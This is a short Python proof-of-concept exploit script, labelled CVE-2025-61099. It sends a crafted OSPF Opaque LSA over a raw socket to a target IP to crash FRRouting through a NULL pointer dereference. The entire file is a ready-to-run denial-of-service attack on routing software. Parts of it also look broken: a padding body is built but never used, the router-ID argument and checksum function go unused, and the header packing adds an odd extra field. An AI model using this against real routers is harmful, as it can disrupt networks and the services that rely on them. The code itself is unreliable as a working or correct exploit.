#!/usr/bin/env python3
"""
CVE-2025-61099 PoC - FRRouting NULL Pointer Dereference in ospf_opaque.c
This PoC demonstrates sending a crafted OSPF Opaque LSA to trigger NULL pointer dereference.
"""
import socket
import struct
import random
def calculate_ospf_checksum(data):
"""Calculate OSPF checksum"""
# Simplified checksum calculation
total = sum(struct.unpack('!' + 'H' * (len(data) // 2), data[:len(data)//2*2]))
if len(data) % 2:
total += struct.unpack('!B', data[-1:])[0]
while total >> 16:
total = (total & 0xFFFF) + (total >> 16)
return ~total & 0xFFFF
def build_crafted_ospf_packet():
"""Build a crafted OSPF LS Update packet with malicious Opaque LSA"""
# OSPF Header
version = 2 # OSPF v2
msg_type = 4 # LS Update
length = 0 # Will be calculated
router_id = socket.inet_aton('10.0.0.1')
area_id = socket.inet_aton('0.0.0.0')
checksum = 0
autype = 0
auth = b'\x00' * 8
header = struct.pack('!BBHH4s4sHH',
version, msg_type, length, checksum,
router_id, area_id, autype, 0) + auth
# Number of LSAs
num_lsas = 1
# Crafted Opaque LSA (Type 9/10/11) that triggers NULL pointer dereference
# LSA Header
ls_age = 1
options = 0x22
ls_type = 9 # Opaque LSA Type 9
link_state_id = b'\x00\x00\x00\x01'
advertising_router = socket.inet_aton('192.168.1.1')
ls_sequence = 0x80000001
ls_checksum = 0
length = 64 # LSA length
lsa_header = struct.pack('!HHBB4s4sIiHH',
ls_age, ls_checksum, options, ls_type,
link_state_id, advertising_router,
ls_sequence, 0, length)
# Malicious LSA body designed to trigger NULL dereference
# This contains crafted data that causes opaque_info_detail to dereference NULL
lsa_body = b'\x00' * 44 # Padding to cause NULL pointer access
# Opaque TLV with crafted values
opaque_type = struct.pack('!H', 1)
opaque_length = struct.pack('!H', 36)
opaque_value = b'\xFF' * 36
crafted_lsa = lsa_header + opaque_type + opaque_length + opaque_value
return header[:4] + struct.pack('!H', len(header) + 4 + len(crafted_lsa)) + header[6:] + struct.pack('!I', num_lsas) + crafted_lsa
def send_exploit(target_ip, router_id):
"""Send the crafted exploit packet"""
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_OSPFIGP)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# Build packet with proper OSPF header
packet = build_crafted_ospf_packet()
# Send to target
sock.sendto(packet, (target_ip, 0))
print(f"[*] Sent crafted OSPF Opaque LSA packet to {target_ip}")
print(f"[*] This packet is designed to trigger NULL pointer dereference in opaque_info_detail")
sock.close()
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip> [source_router_id]")
sys.exit(1)
target = sys.argv[1]
router_id = sys.argv[2] if len(sys.argv) > 2 else '10.0.0.1'
send_exploit(target, router_id)